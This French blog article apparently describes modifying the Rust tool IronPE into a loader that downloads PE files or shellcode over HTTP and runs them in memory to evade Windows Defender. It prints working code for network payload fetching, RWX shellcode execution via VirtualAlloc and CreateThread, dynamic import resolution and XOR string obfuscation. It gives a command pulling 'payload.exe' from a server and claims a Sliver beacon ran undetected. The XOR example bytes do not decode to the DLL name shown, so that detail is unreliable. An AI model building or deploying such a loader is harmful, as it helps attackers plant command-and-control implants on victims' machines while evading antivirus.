Modification d'IronPE pour le chargement en mémoire de fichiers PE afin de contourner Defender
Une version modifiée d'IronPE permet de charger des fichiers PE (EXE ou DLL) via HTTP/HTTPS directement en mémoire, sans écriture sur disque. Cela contourne l'analyse statique de Windows Defender en ne laissant aucune trace sur le système de fichiers. L'implémentation en Rust utilise le mappage manuel avec résolution dynamique des imports et l'obfuscation des chaînes.
IronPE était initialement conçu pour démontrer les mécanismes de chargement de PE sans API standard comme CreateProcess ou LoadLibrary. Cette modification ajoute le chargement de charge utile par réseau et le support de shellcode tout en conservant des appels WinAPI légitimes.
Modifications clés du code
Chargement HTTP avec reqwest
Pour récupérer le fichier PE depuis le réseau, un client reqwest bloquant est intégré, avec un User-Agent imitant un navigateur et un délai d'attente de 120 secondes.
fn fetch_from_url_reqwest(url: &str) -> Result<Vec<u8>, String> {
let client = reqwest::blocking::Client::builder()
.user_agent("Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36")
.timeout(std::time::Duration::from_secs(120))
.build()?;
let response = client.get(url).send()?;
let bytes = response.bytes()?.to_vec();
Ok(bytes)
}
Exécution : ./ironpe --x64 http://server/payload.exe. Les octets sont chargés en mémoire sans sauvegarde sur disque.
Support du shellcode
Le mode --shellcode alloue de la mémoire RWX via VirtualAlloc et y copie les octets pour une exécution directe. Adapté aux stagers comme Sliver.
"--shellcode" => {
let bytes = read_file_or_url(&args[2])?;
let ptr = VirtualAlloc(None, bytes.len(), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
std::ptr::copy_nonoverlapping(bytes.as_ptr(), ptr as *mut u8, bytes.len());
let thread = CreateThread(None, 0, Some(std::mem::transmute(ptr)), None, 0, None);
WaitForSingleObject(thread?, INFINITE);
}
Résolution dynamique des imports
L'IAT est minimisée : toutes les fonctions (VirtualAlloc, LoadLibrary, GetProcAddress, CreateThread) sont résolues à l'exécution. Il n'y a pas de références statiques à l'injection ou à l'accès LSASS, réduisant la détection.
Obfuscation des chaînes
Les noms de DLL et de fonctions sont stockés sous forme d'octets chiffrés par XOR. Le déchiffrement n'a lieu qu'à l'exécution.
fn decrypt(s: &[u8], key: u8) -> String {
s.iter().map(|&c| (c ^ key) as char).collect()
}
let kernel32 = decrypt(b"\x4b\x4f\x4c\x4d\x4e\x5a\x5b\x2b", 0x2a);
Mécanismes de contournement de l'analyse statique
Cette technique fonctionne sur Windows 11 25H2 avec Defender actif (temps réel, cloud). Facteurs clés :
- Pas de disque : La charge utile (~30 Mo de beacon Sliver) n'est pas sauvegardée.
- APIs légitimes : VirtualAlloc, LoadLibrary, etc. — standard pour les installateurs.
- IAT vide : Les dynamiques masquent les appels suspects.
- Rust : Rare dans les malwares, moins de règles YARA.
- Étape réseau : La charge utile est inconnue du scanner statique.
Avantages et limites
| Aspect | IronPE original | Modification |
|--------|-----------------|-------------|
| Chargement | Fichier local | HTTP/HTTPS |
| Shellcode | Non | Oui, RWX |
| IAT | Partiellement dynamique | Totalement dynamique |
| Chaînes | Texte clair | Obfuscation XOR |
| Détection Defender | Possible | Contournement statique |
Lors de tests sur un VPS avec un serveur Python (port 8081), une session Sliver a démarré sans notifications de Defender.
Points clés :
- Mappage manuel + HTTP élimine les signatures de fichiers.
- Les imports dynamiques minimisent l'empreinte statique.
- Rust réduit le risque de signature mais pas comportemental.
- Nécessite des améliorations pour les EDR avec surveillance AMSI/ETW.
- Réservé à la recherche en sécurité uniquement.
— Editorial Team
Aucun commentaire pour le moment.